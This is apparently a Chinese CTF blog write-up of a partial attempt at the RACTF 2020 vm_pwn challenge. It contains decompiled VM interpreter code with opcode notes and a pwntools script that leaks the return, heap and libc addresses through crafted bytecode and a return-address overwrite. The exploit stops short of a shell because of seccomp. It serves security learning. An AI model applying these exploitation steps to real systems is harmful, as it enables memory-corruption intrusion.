• ractf2020 vm_pwn测试题


    最近队里队长给了我一个入队测试题,结果一看就是vm,吓得我赶紧去看了一个vm的例题,看完后,又来看这道题,把我折磨的有点怀疑人生了,目前还没写完,记录下写题的过程

    程序分析

    首先大致看一下我的分析

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      unsigned __int8 *v3; // rax
      _QWORD *v4; // rax
      _QWORD *v5; // rax
      _QWORD *v6; // rax
      _QWORD *v7; // rax
      __int64 result; // rax
      int v9; // [rsp+8h] [rbp-28h]
      int v10; // [rsp+Ch] [rbp-24h]
      int v11; // [rsp+Ch] [rbp-24h]
      int v12; // [rsp+Ch] [rbp-24h]
      int v13; // [rsp+Ch] [rbp-24h]
      int v14; // [rsp+Ch] [rbp-24h]
      int v15; // [rsp+Ch] [rbp-24h]
      int v16; // [rsp+Ch] [rbp-24h]
      int v17; // [rsp+Ch] [rbp-24h]
      int v18; // [rsp+Ch] [rbp-24h]
      int v19; // [rsp+Ch] [rbp-24h]
      int v20; // [rsp+Ch] [rbp-24h]
      int v21; // [rsp+Ch] [rbp-24h]
      int v22; // [rsp+Ch] [rbp-24h]
      int v23; // [rsp+Ch] [rbp-24h]
      int v24; // [rsp+Ch] [rbp-24h]
      int v25; // [rsp+Ch] [rbp-24h]
      int v26; // [rsp+Ch] [rbp-24h]
      int v27; // [rsp+Ch] [rbp-24h]
      int v28; // [rsp+Ch] [rbp-24h]
      int v29; // [rsp+Ch] [rbp-24h]
      int v30; // [rsp+Ch] [rbp-24h]
      int v31; // [rsp+Ch] [rbp-24h]
      int v32; // [rsp+Ch] [rbp-24h]
      int v33; // [rsp+Ch] [rbp-24h]
      _QWORD *v34; // [rsp+10h] [rbp-20h]
      char *v35; // [rsp+18h] [rbp-18h]
      char *v36; // [rsp+20h] [rbp-10h]
    
      sub_BA0();
      v34 = calloc(0x30uLL, 1uLL);
      v35 = calloc(0x1000uLL, 1uLL);
      v36 = calloc(0x2000uLL, 1uLL);
      v34[3] = v36 + 7680;
      v34[5] = aA;
      if ( !v35 || !v36 )
        puts_func("out of memory");
      while ( 1 )                                   // v35 --> data段
                                                    // v34[5] --> text段
                                                    // v34[3] --> stack段
                                                    // v34[0]=reg1=rdi
                                                    // v34[1]=reg2=rsi
                                                    // v34[2]=reg3=rdx
      {
        v3 = v34[5];
        v34[5] = v3 + 1;
        v9 = *v3;
        switch ( v9 )
        {
          case 0x20:
            *v34 = v34[3];                          // mov reg1,esp
            break;
          case 0x21:
            *v34 = *v34[5];                         // reg1=data2
            v34[5] += 8LL;
            break;
          case 0x22:
            v34[1] = *v34[5];                       // reg2=data2
            v34[5] += 8LL;
            break;
          case 0x23:
            v34[2] = *v34[5];                       // reg3=data2
            v34[5] += 8LL;
            break;
          case 0x30:
            v10 = *v34[5];                          // mov reg1,mem
            if ( v10 < 0 || v10 > 4095 )
              puts_func("buffer overflow detected");
            *v34 = &v35[v10];
            v34[5] += 8LL;
            break;
          case 0x31:
            v11 = *v34[5];
            if ( v11 < 0 || v11 > 4095 )            // mov reg1,mem
              puts_func("buffer overflow detected");
            *v34 = *&v35[v11];
            v34[5] += 8LL;
            break;
          case 0x32:
            v12 = *v34[5];
            if ( v12 < 0 || v12 > 4095 )            // mov reg2,mem
              puts_func("buffer overflow detected");
            v34[1] = *&v35[v12];
            v34[5] += 8LL;
            break;
          case 0x33:
            v13 = *v34[5];
            if ( v13 < 0 || v13 > 4095 )            // mov reg3,mem
              puts_func("buffer overflow detected");
            v34[2] = *&v35[v13];
            v34[5] += 8LL;
            break;
          case 0x43:
            v14 = *v34[5];
            if ( v14 < 0 || v14 > 4095 )            // mov mem,reg1
              puts_func("buffer overflow detected");
            *&v35[v14] = *v34;
            v34[5] += 8LL;
            break;
          case 0x44:
            v15 = *v34[5];
            if ( v15 < 0 || v15 > 4095 )            // mov mem,reg2
              puts_func("buffer overflow detected");
            *&v35[v15] = v34[1];
            v34[5] += 8LL;
            break;
          case 0x45:
            v16 = *v34[5];
            if ( v16 < 0 || v16 > 4095 )            // mov mem,reg3
              puts_func("buffer overflow detected");
            *&v35[v16] = v34[2];
            v34[5] += 8LL;
            break;
          case 0x54:
            if ( (v34[3] - v36) <= 8 )              // push reg1
              puts_func("stack underflow detected");
            v34[3] -= 8LL;
            *v34[3] = *v34;
            break;
          case 0x55:
            if ( (v34[3] - v36) <= 8 )              // push reg2
              puts_func("stack underflow detected");
            v34[3] -= 8LL;
            *v34[3] = v34[1];
            break;
          case 0x56:
            if ( (v34[3] - v36) <= 8 )
              puts_func("stack underflow detected");
            v34[3] -= 8LL;
            *v34[3] = v34[2];
            break;
          case 0x61:                                // add reg1
            if ( (v34[3] - v36) > 7679 )            // pop reg1
              puts_func("stack overflow detected");
            v4 = v34[3];
            v34[3] = v4 + 1;
            *v34 = *v4;
            break;
          case 0x62:
            if ( (v34[3] - v36) > 7679 )            // pop reg2
              puts_func("stack overflow detected");
            v5 = v34[3];
            v34[3] = v5 + 1;
            v34[1] = *v5;
            break;
          case 0x63:
            if ( (v34[3] - v36) > 7679 )            // pop reg3
              puts_func("stack overflow detected");
            v6 = v34[3];
            v34[3] = v6 + 1;
            v34[2] = *v6;
            break;
          case 0x71:
            v17 = *v34[5];
            v34[5] += 8LL;
            *v34 += v17;
            break;
          case 0x72:
            v18 = *v34[5];                          // add reg2
            v34[5] += 8LL;
            v34[1] += v18;
            break;
          case 0x73:
            v19 = *v34[5];                          // add reg3
            v34[5] += 8LL;
            v34[2] += v19;
            break;
          case 0x74:
            v22 = *v34[5];                          // sub reg1
            v34[5] += 8LL;
            *v34 -= v22;
            break;
          case 0x75:
            v23 = *v34[5];                          // sub reg2
            v34[5] += 8LL;
            v34[1] -= v23;
            break;
          case 0x76:
            v24 = *v34[5];                          // sub reg3
            v34[5] += 8LL;
            v34[2] -= v24;
            break;
          case 0x77:
            v25 = *v34[5];                          // imul reg1
            v34[5] += 8LL;
            *v34 *= v25;
            break;
          case 0x78:
            v26 = *v34[5];                          // imul reg2
            v34[5] += 8LL;
            v34[1] *= v26;
            break;
          case 0x79:
            v27 = *v34[5];
            v34[5] += 8LL;
            v34[2] *= v27;
            break;
          case 0x7A:
            v28 = *v34[5];                          // xor reg1
            v34[5] += 8LL;
            *v34 ^= v28;
            break;
          case 0x7B:
            v29 = *v34[5];                          // xor reg2
            v34[5] += 8LL;
            v34[1] ^= v29;
            break;
          case 0x7C:
            v30 = *v34[5];                          // xor reg3
            v34[5] += 8LL;
            v34[2] ^= v30;
            break;
          case 0x7D:
            *v34 = 0LL;
            break;
          case 0x7E:
            v34[1] = 0LL;
            break;
          case 0x7F:                                // 让v33[5]=reg1
            v34[2] = 0LL;
            break;
          case 0x8E:
            v32 = *v34[5];                          // 如果这是栈,那就有可能是恢复栈
            v34[5] += 2LL;
            v34[5] += v32;
            break;
          case 0x8F:
            v34[5] = *v34;
            break;
          case 0x90:
            v34[3] += 8LL;                          // data+=8
                                                    // data=v33[5]
                                                    // v33[5]=reg1
            *v34[3] = v34[5];
            v34[5] = *v34;
            break;
          case 0x91:
            v20 = *v34[5];
            v34[5] += 8LL;
            v34[3] += 8LL * (v20 / 8);
            break;
          case 0x92:
            v21 = *v34[5];
            v34[5] += 8LL;
            v34[3] += -8LL * (v21 / 8);
            break;
          case 0x98:
            v33 = *v34[5];
            v34[5] += 2LL;
            v34[3] += 8LL;
            *v34[3] = v34[5];
            v34[5] += v33;
            break;
          case 0x9F:
            v31 = *v34[5]++;
            (*(&off_2038E0 + v31))(*v34, v34[1], v34[2]);
            break;
          case 0xA0:
            v7 = v34[3];
            v34[3] = v7 - 1;
            v34[5] = *v7;
            break;
          case 0x10F:
            return 0LL;
          default:
            printf(":%d
    ", v9);
            puts_func("Illegal Instrumention");
            return result;
        }
      }
    }
    /* Orphan comments:
    push reg3
    imul reg3
    init reg123=0
    提升栈
    恢复栈
    */

    opcode大概的写了出来,但应该只对了一部分,先来说一下程序的流程,与如何看出来的,我在ida里看到的rip,在C语言里是这样的

     其实我觉得很奇怪,后面看了下汇编形式

     

     汇编里显示了一个全局变量出来,发现是一堆地址,ok,接着往下看,发现无法查看了,就拿gdb动态调试的查看一下,还有个全局变量

     在gdb中,rip的运算大概是这样的

     

     咱们来慢慢分析

    首先0x4c87到0x4c8b很容易发现是把全局变量所指+1偏移处地址取出来了,然后放在了rcx里面

    在将这地址放在了+0的偏移中,也就是让指针所指的地址+1

    在将原来的+0的偏移中的值,放入eax中,在经过-0x10与0xef作比较,来进行跳转

     接着,这一大段的地址操作,我一开始是看的比较懵逼的,但后面经过反复调试后,发现,这里将eax的值*4,然后从rip+0xbba取值,这里的值不就是一直固定的吗?那这里不就代表着前面的函数地址表吗?

     由于我看内存中的这些值时,发现很多数字,所以很快的直接跳过了这里的每一句分析,因为为了测试我特意看了下前面的eax的值是0x1的时候,我特意去看了下函数地址表里的函数偏移为1的函数

    这根我在gdb里调试的函数是一样的,所以猜想正确!

     

     现在来分析一下rip从那个全局变量里如何来的,查看aA全局变量,并根据程序流程,会发现这是data段还是text段呢?我一开始爷挺迷糊的,然后根据一点一点的调试得到了这是text段

    这里我找的是与上面分析对应的一段代码

    可以看到我在分析的这里的时候,字符串'do you w'这里就是8个字节了

     

     然后发现有个0x11的值在这被取出来了通过前面的分析可以知道这个值会被减去0x10,然后当做rip去调用函数,来执行,并且通过ida的简单分析,很快就可以知道,这个v34[5]每次函数几乎都会+8,不正好对应着一个8字节的字符串吗?

     接下来就是来找整个函数的流程了,其实我自己动态调试跟了一下午,分析了一套出来(但是是错的,太菜了),只是我感觉这个函数流程会根据自己的输入来改变,不过应该不会,变换我先贴出来,有错的话指正一下

    分析完基本的流程后,我感觉这道题是rop,栈溢出,劫持esp,不过还是得看流程的检查才行

    所以需要去找gadget才行,不过在几经调试之后,终于发现了一些端倪,程序的返回地址在你的输入地址偏移0x100处,并且由于偏移,就可以泄露libc的地址了,而0xf0处则是堆的地址

    所以我们可以先泄露跳转的地址,然后根据偏移来计算offset的偏移值,在通过构造gadget来泄露里面的函数,从而达到泄露libc的地址。

    先贴部分代码,泄露libc

    #leak jmp addr
    payload=b'p'*0xff
    p.recvuntil('name:')
    p.sendline(payload)
    p.recvuntil('p'*0xff)
    ret_addr=u64(p.recv(7).ljust(8,b'x00'))
    ret_addr=ret_addr>>8
    print('ret_addr:'+hex(ret_addr))
    
    #reboot process
    main_addr=ret_addr-0x831
    payload=b'p'*0x100+p64(main_addr)
    print('main:'+hex(main_addr))
    p.recvuntil('say:')
    p.sendline(payload)
    
    #leak heap_addr
    payload=b'p'*0xef
    p.recvuntil('name:')
    p.sendline(payload)
    p.recvuntil('p'*0xef)
    heap2_addr=u64(p.recv(7).ljust(8,b'x00'))
    heap2_addr=heap2_addr>>8
    print('heap2_addr:'+hex(heap2_addr))
    my_input_addr=heap2_addr+0x1010+0x1d08
    
    print('n debug')
    
    puts_offset=ret_addr-0x851+0x8f0
    
    #leak puts addr and reboot
    payload=b'x11'+p64(1)
    payload=payload+b'x12'+p64(puts_offset)
    payload=payload+b'x13'+p64(8)
    payload=payload+b'x8fx01'
    payload=payload+b'x11'+p64(main_addr)
    payload=payload+b'x44'
    payload=payload+b'x90'
    p.recvuntil('say:')
    payload=payload.ljust(0x100,b'x00')
    payload=payload+p64(my_input_addr)
    print(payload)
    p.sendline(payload)
    puts_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
    print('puts_addr:'+hex(puts_addr))

    不过到后面当我想劫持puts函数,然后在getshell的时候,意外发生了,直接帮你把系统调用给干翻一半,我吐了,然后去看了一下这个函数的简单解释,这里我贴一下原话

     

     好吧,得想办法绕过了

    本来打算用open函数绕过的,结果发现返回值我没法控制,我真不知道怎么绕过了,所以只能以后再来写这道题了。。。如果有师傅能给提示就好了

    先说到这,接着去写这道题了-_-||

  • 相关阅读:
    Java监控工具介绍,VisualVm ,JProfiler,Perfino,Yourkit,Perf4J,JProbe,Java微基准测试
    Java C# C语言中的占位符
    Java广度优先爬虫示例(抓取复旦新闻信息)
    如何用java获得字符串的ASCII值
    Java使用正则表达式取网页中的一段内容(以取Js方法为例)
    Java--使用多线程下载,断点续传技术原理(RandomAccessFile)
    使用HttpClient 4.3.4 自动登录并抓取中国联通用户基本信息和账单数据,GET/POST/Cookie
    Android学习---通过内容提供者(ContentProvider)操作另外一个应用私有数据库的内容
    Android学习---ListView的点击事件,simpleAdapter和arrayadapter,SimpleCursoAdapter的原理和使用
    Android学习---ListView和Inflater的使用,将一个布局文件转化为一个对象
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14159189.html
Copyright © 2020-2023  润新知